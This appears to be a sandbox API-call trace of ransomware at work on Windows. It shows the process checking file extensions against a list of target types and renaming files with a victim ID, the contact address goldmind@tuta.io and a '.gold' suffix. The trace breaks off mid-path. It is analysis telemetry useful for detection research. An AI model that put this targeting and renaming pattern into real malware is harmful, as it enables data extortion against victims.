lstrlenW (lpString=".doc") returned 4 [0088.056] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0088.056] lstrlenW (lpString=".docx") returned 5 [0088.056] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0088.056] lstrlenW (lpString=".pdf") returned 4 [0088.056] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0088.056] lstrlenW (lpString=".xls") returned 4 [0088.056] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0088.056] lstrlenW (lpString=".xlsx") returned 5 [0088.056] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0088.056] lstrlenW (lpString=".ppt") returned 4 [0088.056] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0088.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0088.056] lstrlenW (lpString=".zip") returned 4 [0088.056] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0088.056] lstrlenW (lpString=".rar") returned 4 [0088.056] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0088.056] lstrlenW (lpString=".bz2") returned 4 [0088.056] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0088.056] lstrlenW (lpString=".7z") returned 3 [0088.056] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0088.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0088.056] lstrlenW (lpString=".dbf") returned 4 [0088.056] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0088.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0088.057] lstrlenW (lpString=".1cd") returned 4 [0088.057] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0088.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0088.057] lstrlenW (lpString=".jpg") returned 4 [0088.057] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0088.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0088.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0088.057] lstrlenW (lpString=".doc") returned 4 [0088.057] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0088.057] lstrlenW (lpString=".docx") returned 5 [0088.057] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0088.057] lstrlenW (lpString=".pdf") returned 4 [0088.057] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0088.057] lstrlenW (lpString=".xls") returned 4 [0088.057] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0088.057] lstrlenW (lpString=".xlsx") returned 5 [0088.057] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0088.057] lstrlenW (lpString=".ppt") returned 4 [0088.057] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0088.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0088.057] lstrlenW (lpString=".zip") returned 4 [0088.057] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0088.057] lstrlenW (lpString=".rar") returned 4 [0088.057] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0088.057] lstrlenW (lpString=".bz2") returned 4 [0088.057] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0088.057] lstrlenW (lpString=".7z") returned 3 [0088.057] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0088.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0088.057] lstrlenW (lpString=".dbf") returned 4 [0088.057] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0088.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0088.057] lstrlenW (lpString=".1cd") returned 4 [0088.057] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0088.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0088.057] lstrlenW (lpString=".jpg") returned 4 [0088.057] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0088.057] lstrcmpiW (lpString1=".avi", lpString2=".gold") returned -1 [0088.057] lstrlenW (lpString="join.avi") returned 8 [0088.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0088.058] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=222208) returned 1 [0088.058] CloseHandle (hObject=0x310) returned 1 [0088.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0088.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0088.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0088.058] lstrlenW (lpString=".doc") returned 4 [0088.058] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0088.058] lstrlenW (lpString=".docx") returned 5 [0088.058] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0088.058] lstrlenW (lpString=".pdf") returned 4 [0088.058] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0088.058] lstrlenW (lpString=".xls") returned 4 [0088.058] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0088.058] lstrlenW (lpString=".xlsx") returned 5 [0088.058] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0088.058] lstrlenW (lpString=".ppt") returned 4 [0088.058] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0088.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0088.059] lstrlenW (lpString=".zip") returned 4 [0088.059] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0088.059] lstrlenW (lpString=".rar") returned 4 [0088.059] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0088.059] lstrlenW (lpString=".bz2") returned 4 [0088.059] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0088.059] lstrlenW (lpString=".7z") returned 3 [0088.059] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0088.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0088.059] lstrlenW (lpString=".dbf") returned 4 [0088.059] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0088.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0088.059] lstrlenW (lpString=".1cd") returned 4 [0088.059] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0088.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0088.059] lstrlenW (lpString=".jpg") returned 4 [0088.059] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0088.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0088.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0088.059] lstrlenW (lpString=".doc") returned 4 [0088.059] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0088.059] lstrlenW (lpString=".docx") returned 5 [0088.059] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0088.059] lstrlenW (lpString=".pdf") returned 4 [0088.059] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0088.059] lstrlenW (lpString=".xls") returned 4 [0088.059] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0088.059] lstrlenW (lpString=".xlsx") returned 5 [0088.059] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0088.059] lstrlenW (lpString=".ppt") returned 4 [0088.059] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0088.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0088.059] lstrlenW (lpString=".zip") returned 4 [0088.059] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0088.059] lstrlenW (lpString=".rar") returned 4 [0088.059] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0088.059] lstrlenW (lpString=".bz2") returned 4 [0088.059] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0088.060] lstrlenW (lpString=".7z") returned 3 [0088.060] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0088.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0088.060] lstrlenW (lpString=".dbf") returned 4 [0088.060] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0088.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0088.060] lstrlenW (lpString=".1cd") returned 4 [0088.060] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0088.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0088.060] lstrlenW (lpString=".jpg") returned 4 [0088.060] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0088.060] lstrcmpiW (lpString1=".avi", lpString2=".gold") returned -1 [0088.060] lstrlenW (lpString="split.avi") returned 9 [0088.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0088.060] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=194048) returned 1 [0088.060] CloseHandle (hObject=0x310) returned 1 [0088.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0088.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0088.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0088.061] lstrlenW (lpString=".doc") returned 4 [0088.061] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0088.061] lstrlenW (lpString=".docx") returned 5 [0088.061] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0088.061] lstrlenW (lpString=".pdf") returned 4 [0088.061] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0088.061] lstrlenW (lpString=".xls") returned 4 [0088.061] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0088.061] lstrlenW (lpString=".xlsx") returned 5 [0088.061] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0088.061] lstrlenW (lpString=".ppt") returned 4 [0088.061] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0088.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0088.061] lstrlenW (lpString=".zip") returned 4 [0088.061] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0088.061] lstrlenW (lpString=".rar") returned 4 [0088.061] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0088.061] lstrlenW (lpString=".bz2") returned 4 [0088.061] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0088.061] lstrlenW (lpString=".7z") returned 3 [0088.061] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0088.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0088.061] lstrlenW (lpString=".dbf") returned 4 [0088.061] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0088.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0088.061] lstrlenW (lpString=".1cd") returned 4 [0088.061] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0088.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0088.061] lstrlenW (lpString=".jpg") returned 4 [0088.061] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0088.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0088.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0088.061] lstrlenW (lpString=".doc") returned 4 [0088.061] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0088.061] lstrlenW (lpString=".docx") returned 5 [0088.061] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0088.061] lstrlenW (lpString=".pdf") returned 4 [0088.061] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0088.061] lstrlenW (lpString=".xls") returned 4 [0088.061] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0088.061] lstrlenW (lpString=".xlsx") returned 5 [0088.061] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0088.061] lstrlenW (lpString=".ppt") returned 4 [0088.061] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0088.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0088.061] lstrlenW (lpString=".zip") returned 4 [0088.061] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0088.061] lstrlenW (lpString=".rar") returned 4 [0088.061] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0088.061] lstrlenW (lpString=".bz2") returned 4 [0088.061] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0088.061] lstrlenW (lpString=".7z") returned 3 [0088.062] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0088.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0088.062] lstrlenW (lpString=".dbf") returned 4 [0088.062] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0088.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0088.062] lstrlenW (lpString=".1cd") returned 4 [0088.062] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0088.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0088.062] lstrlenW (lpString=".jpg") returned 4 [0088.062] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0088.062] lstrcmpiW (lpString1=".avi", lpString2=".gold") returned -1 [0088.062] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0088.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0088.062] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=1600388) returned 1 [0088.062] CloseHandle (hObject=0x310) returned 1 [0088.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0088.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.062] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0088.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0088.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0088.063] lstrlenW (lpString=".doc") returned 4 [0088.063] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0088.063] lstrlenW (lpString=".docx") returned 5 [0088.063] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0088.063] lstrlenW (lpString=".pdf") returned 4 [0088.063] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0088.063] lstrlenW (lpString=".xls") returned 4 [0088.063] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0088.063] lstrlenW (lpString=".xlsx") returned 5 [0088.063] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0088.063] lstrlenW (lpString=".ppt") returned 4 [0088.063] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0088.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0088.063] lstrlenW (lpString=".zip") returned 4 [0088.063] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0088.063] lstrlenW (lpString=".rar") returned 4 [0088.063] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0088.063] lstrlenW (lpString=".bz2") returned 4 [0088.063] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0088.063] lstrlenW (lpString=".7z") returned 3 [0088.063] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0088.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0088.063] lstrlenW (lpString=".dbf") returned 4 [0088.063] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0088.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0088.063] lstrlenW (lpString=".1cd") returned 4 [0088.063] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0088.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0088.063] lstrlenW (lpString=".jpg") returned 4 [0088.063] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0088.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0088.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0088.063] lstrlenW (lpString=".doc") returned 4 [0088.063] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0088.063] lstrlenW (lpString=".docx") returned 5 [0088.063] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0088.063] lstrlenW (lpString=".pdf") returned 4 [0088.063] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0088.063] lstrlenW (lpString=".xls") returned 4 [0088.063] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0088.063] lstrlenW (lpString=".xlsx") returned 5 [0088.063] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0088.063] lstrlenW (lpString=".ppt") returned 4 [0088.063] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0088.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0088.064] lstrlenW (lpString=".zip") returned 4 [0088.064] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0088.064] lstrlenW (lpString=".rar") returned 4 [0088.064] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0088.064] lstrlenW (lpString=".bz2") returned 4 [0088.064] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0088.064] lstrlenW (lpString=".7z") returned 3 [0088.064] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0088.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0088.064] lstrlenW (lpString=".dbf") returned 4 [0088.064] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0088.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0088.064] lstrlenW (lpString=".1cd") returned 4 [0088.064] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0088.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0088.064] lstrlenW (lpString=".jpg") returned 4 [0088.064] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0088.064] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0088.064] lstrlenW (lpString="auxbase.xml") returned 11 [0088.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0088.065] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=1434) returned 1 [0088.065] CloseHandle (hObject=0x310) returned 1 [0088.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0088.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0088.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0088.065] lstrlenW (lpString=".doc") returned 4 [0088.065] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.065] lstrlenW (lpString=".docx") returned 5 [0088.065] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0088.065] lstrlenW (lpString=".pdf") returned 4 [0088.065] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.065] lstrlenW (lpString=".xls") returned 4 [0088.065] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.065] lstrlenW (lpString=".xlsx") returned 5 [0088.065] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0088.065] lstrlenW (lpString=".ppt") returned 4 [0088.065] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0088.065] lstrlenW (lpString=".zip") returned 4 [0088.066] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.066] lstrlenW (lpString=".rar") returned 4 [0088.066] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.066] lstrlenW (lpString=".bz2") returned 4 [0088.066] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.066] lstrlenW (lpString=".7z") returned 3 [0088.066] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0088.089] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0088.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0088.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.347] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd 